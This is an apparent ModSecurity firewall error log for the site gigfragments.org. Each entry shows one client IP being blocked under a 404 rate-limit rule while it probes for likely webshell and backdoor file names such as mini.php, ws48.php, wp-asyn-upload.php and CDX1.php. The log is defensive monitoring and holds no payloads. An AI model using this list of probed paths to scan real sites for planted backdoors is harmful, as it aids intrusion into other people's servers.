[Sat Apr 11 08:43:13.091521 2026] [:error] [pid 5795:tid 5888] [client 4.233.120.250:41219] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "admZIZgvRQRkGSWa6n_iCgAAAMQ"]
[Sat Apr 11 08:43:13.692073 2026] [:error] [pid 5949:tid 5976] [client 4.233.120.250:54705] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-ajax.php"] [unique_id "admZIf28g0lvFuzWT5UdVAAAAFg"]
[Sat Apr 11 08:43:14.250508 2026] [:error] [pid 5949:tid 5961] [client 4.233.120.250:60781] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-ajax.php"] [unique_id "admZIv28g0lvFuzWT5UdVwAAAEk"]
[Sat Apr 11 08:43:14.974154 2026] [:error] [pid 5794:tid 5868] [client 4.233.120.250:6710] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-ajax.php"] [unique_id "admZIojGQwKS4utx44NlpAAAAIw"]
[Sat Apr 11 08:43:15.657588 2026] [:error] [pid 5949:tid 5976] [client 4.233.120.250:55019] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-ajax.php"] [unique_id "admZI_28g0lvFuzWT5UdZQAAAFg"]
[Sat Apr 11 08:43:16.330433 2026] [:error] [pid 5949:tid 5959] [client 4.233.120.250:61446] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amthd.php"] [unique_id "admZJP28g0lvFuzWT5UdaQAAAEc"]
[Sat Apr 11 08:43:17.163295 2026] [:error] [pid 5795:tid 5906] [client 4.233.120.250:43429] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amthd.php"] [unique_id "admZJZgvRQRkGSWa6n_iJwAAANY"]
[Sat Apr 11 08:43:17.724280 2026] [:error] [pid 5794:tid 5869] [client 4.233.120.250:53114] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amthd.php"] [unique_id "admZJYjGQwKS4utx44NlqgAAAI0"]
[Sat Apr 11 08:43:18.268296 2026] [:error] [pid 5795:tid 5902] [client 4.233.120.250:51588] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amthd.php"] [unique_id "admZJpgvRQRkGSWa6n_iLAAAANI"]
[Sat Apr 11 08:43:18.838130 2026] [:error] [pid 5949:tid 5969] [client 4.233.120.250:47909] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "admZJv28g0lvFuzWT5UdfAAAAFE"]
[Sat Apr 11 08:43:19.618878 2026] [:error] [pid 5949:tid 5972] [client 4.233.120.250:6926] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "admZJ_28g0lvFuzWT5UdgwAAAFQ"]
[Sat Apr 11 08:43:20.409986 2026] [:error] [pid 5949:tid 5962] [client 4.233.120.250:65272] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "admZKP28g0lvFuzWT5UdkQAAAEo"]
[Sat Apr 11 08:43:20.956747 2026] [:error] [pid 5949:tid 5966] [client 4.233.120.250:43418] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "admZKP28g0lvFuzWT5UdmAAAAE4"]
[Sat Apr 11 08:43:21.610081 2026] [:error] [pid 5793:tid 5846] [client 4.233.120.250:6928] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "admZKcLXvguFrb7p0Zu6vQAAABg"]
[Sat Apr 11 08:43:22.402339 2026] [:error] [pid 5794:tid 5880] [client 4.233.120.250:16973] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "admZKojGQwKS4utx44NlwAAAAJg"]
[Sat Apr 11 08:43:22.910255 2026] [:error] [pid 5949:tid 5963] [client 4.233.120.250:65255] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "admZKv28g0lvFuzWT5UdoQAAAEs"]
[Sat Apr 11 08:43:23.634859 2026] [:error] [pid 5793:tid 5841] [client 4.233.120.250:51282] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "admZK8LXvguFrb7p0Zu6wgAAABM"]
[Sat Apr 11 08:43:37.262505 2026] [:error] [pid 5793:tid 5835] [client 4.233.120.250:54696] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws48.php"] [unique_id "admZOcLXvguFrb7p0Zu7DAAAAA0"]
[Sat Apr 11 08:43:37.917866 2026] [:error] [pid 5793:tid 5832] [client 4.233.120.250:53084] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws48.php"] [unique_id "admZOcLXvguFrb7p0Zu7EAAAAAo"]
[Sat Apr 11 08:43:38.454907 2026] [:error] [pid 5949:tid 5971] [client 4.233.120.250:39496] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws48.php"] [unique_id "admZOv28g0lvFuzWT5UePwAAAFM"]
[Sat Apr 11 08:43:39.825819 2026] [:error] [pid 5795:tid 5899] [client 4.233.120.250:65253] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws48.php"] [unique_id "admZO5gvRQRkGSWa6n_ifgAAAM8"]
[Sat Apr 11 08:43:40.314835 2026] [:error] [pid 5949:tid 5976] [client 4.233.120.250:53090] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asyn-upload.php"] [unique_id "admZPP28g0lvFuzWT5UeUQAAAFg"]
[Sat Apr 11 08:43:40.940620 2026] [:error] [pid 5793:tid 5825] [client 4.233.120.250:64566] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asyn-upload.php"] [unique_id "admZPMLXvguFrb7p0Zu7FQAAAAM"]
[Sat Apr 11 08:43:41.489963 2026] [:error] [pid 5795:tid 5902] [client 4.233.120.250:55760] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asyn-upload.php"] [unique_id "admZPZgvRQRkGSWa6n_ihAAAANI"]
[Sat Apr 11 08:43:42.142496 2026] [:error] [pid 5794:tid 5860] [client 4.233.120.250:43751] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asyn-upload.php"] [unique_id "admZPojGQwKS4utx44Nl_AAAAIQ"]
[Sat Apr 11 08:43:42.682847 2026] [:error] [pid 5795:tid 5905] [client 4.233.120.250:64540] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "admZPpgvRQRkGSWa6n_ikAAAANU"]
[Sat Apr 11 08:43:43.204495 2026] [:error] [pid 5949:tid 5952] [client 4.233.120.250:12964] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "admZP_28g0lvFuzWT5UeXwAAAEA"]
[Sat Apr 11 08:43:43.844196 2026] [:error] [pid 5949:tid 5955] [client 4.233.120.250:55751] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "admZP_28g0lvFuzWT5UeZAAAAEM"]
[Sat Apr 11 08:43:44.368984 2026] [:error] [pid 5794:tid 5856] [client 4.233.120.250:56343] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "admZQIjGQwKS4utx44NmAQAAAIE"]
[Sat Apr 11 08:43:45.085943 2026] [:error] [pid 5793:tid 5830] [client 4.233.120.250:64519] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "admZQcLXvguFrb7p0Zu7JgAAAAg"]
[Sat Apr 11 08:43:45.956100 2026] [:error] [pid 5794:tid 5867] [client 4.233.120.250:55744] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "admZQYjGQwKS4utx44NmCQAAAIs"]
[Sat Apr 11 08:43:46.602055 2026] [:error] [pid 5949:tid 5962] [client 4.233.120.250:58689] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "admZQv28g0lvFuzWT5UebwAAAEo"]
[Sat Apr 11 08:43:47.225534 2026] [:error] [pid 5949:tid 5970] [client 4.233.120.250:48001] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "admZQ_28g0lvFuzWT5UecgAAAFI"]
[Sat Apr 11 08:43:47.830012 2026] [:error] [pid 5949:tid 5964] [client 4.233.120.250:61229] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clasa99.php"] [unique_id "admZQ_28g0lvFuzWT5UeegAAAEw"]
[Sat Apr 11 08:43:48.584759 2026] [:error] [pid 5795:tid 5899] [client 4.233.120.250:61191] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clasa99.php"] [unique_id "admZRJgvRQRkGSWa6n_iowAAAM8"]
[Sat Apr 11 08:43:49.222142 2026] [:error] [pid 5794:tid 5858] [client 4.233.120.250:55755] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clasa99.php"] [unique_id "admZRYjGQwKS4utx44NmEwAAAII"]
[Sat Apr 11 08:43:49.711450 2026] [:error] [pid 5794:tid 5861] [client 4.233.120.250:58710] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clasa99.php"] [unique_id "admZRYjGQwKS4utx44NmFAAAAIU"]
[Sat Apr 11 08:43:50.205979 2026] [:error] [pid 5793:tid 5824] [client 4.233.120.250:56357] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfilexxx.php"] [unique_id "admZRsLXvguFrb7p0Zu7KwAAAAI"]
[Sat Apr 11 08:43:50.789804 2026] [:error] [pid 5949:tid 5968] [client 4.233.120.250:64735] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfilexxx.php"] [unique_id "admZRv28g0lvFuzWT5UelgAAAFA"]
[Sat Apr 11 08:43:51.427956 2026] [:error] [pid 5794:tid 5875] [client 4.233.120.250:15482] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfilexxx.php"] [unique_id "admZR4jGQwKS4utx44NmGwAAAJM"]
[Sat Apr 11 08:43:52.035482 2026] [:error] [pid 5794:tid 5880] [client 4.233.120.250:58713] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfilexxx.php"] [unique_id "admZSIjGQwKS4utx44NmIQAAAJg"]
[Sat Apr 11 08:43:52.515513 2026] [:error] [pid 5949:tid 5957] [client 4.233.120.250:62983] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_144a.php"] [unique_id "admZSP28g0lvFuzWT5UenwAAAEU"]
[Sat Apr 11 08:43:53.054446 2026] [:error] [pid 5949:tid 5954] [client 4.233.120.250:61455] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_144a.php"] [unique_id "admZSf28g0lvFuzWT5UepAAAAEI"]
[Sat Apr 11 08:43:53.545917 2026] [:error] [pid 5949:tid 5957] [client 4.233.120.250:52950] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_144a.php"] [unique_id "admZSf28g0lvFuzWT5UeqgAAAEU"]
[Sat Apr 11 08:43:54.099198 2026] [:error] [pid 5949:tid 5969] [client 4.233.120.250:56335] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_144a.php"] [unique_id "admZSv28g0lvFuzWT5UesQAAAFE"]
[Sat Apr 11 08:43:54.678328 2026] [:error] [pid 5794:tid 5865] [client 4.233.120.250:12962] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3586%20b64.php"] [unique_id "admZSojGQwKS4utx44NmLAAAAIk"]
[Sat Apr 11 08:43:55.260349 2026] [:error] [pid 5793:tid 5829] [client 4.233.120.250:65101] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3586%20b64.php"] [unique_id "admZS8LXvguFrb7p0Zu7MwAAAAc"]
[Sat Apr 11 08:43:55.839613 2026] [:error] [pid 5949:tid 5960] [client 4.233.120.250:51301] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3586%20b64.php"] [unique_id "admZS_28g0lvFuzWT5UexwAAAEg"]
[Sat Apr 11 08:43:56.332765 2026] [:error] [pid 5794:tid 5872] [client 4.233.120.250:65093] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3586%20b64.php"] [unique_id "admZTIjGQwKS4utx44NmNQAAAJA"]
[Sat Apr 11 08:43:56.957176 2026] [:error] [pid 5795:tid 5901] [client 4.233.120.250:12778] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "admZTJgvRQRkGSWa6n_isAAAANE"]
[Sat Apr 11 08:43:57.567840 2026] [:error] [pid 5949:tid 5962] [client 4.233.120.250:62937] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "admZTf28g0lvFuzWT5UezgAAAEo"]
[Sat Apr 11 08:43:58.338366 2026] [:error] [pid 5794:tid 5878] [client 4.233.120.250:58698] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "admZTojGQwKS4utx44NmQAAAAJY"]
[Sat Apr 11 08:43:58.826390 2026] [:error] [pid 5794:tid 5874] [client 4.233.120.250:64747] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "admZTojGQwKS4utx44NmSAAAAJI"]
[Sat Apr 11 08:43:59.404953 2026] [:error] [pid 5949:tid 5971] [client 4.233.120.250:58708] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bmi.php"] [unique_id "admZT_28g0lvFuzWT5Ue1AAAAFM"]
[Sat Apr 11 08:44:00.029565 2026] [:error] [pid 5794:tid 5877] [client 4.233.120.250:48008] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bmi.php"] [unique_id "admZUIjGQwKS4utx44NmUQAAAJU"]
[Sat Apr 11 08:44:00.570499 2026] [:error] [pid 5793:tid 5824] [client 4.233.120.250:51264] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bmi.php"] [unique_id "admZUMLXvguFrb7p0Zu7OgAAAAI"]
[Sat Apr 11 08:44:01.084461 2026] [:error] [pid 5793:tid 5823] [client 4.233.120.250:47924] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bmi.php"] [unique_id "admZUcLXvguFrb7p0Zu7PgAAAAE"]
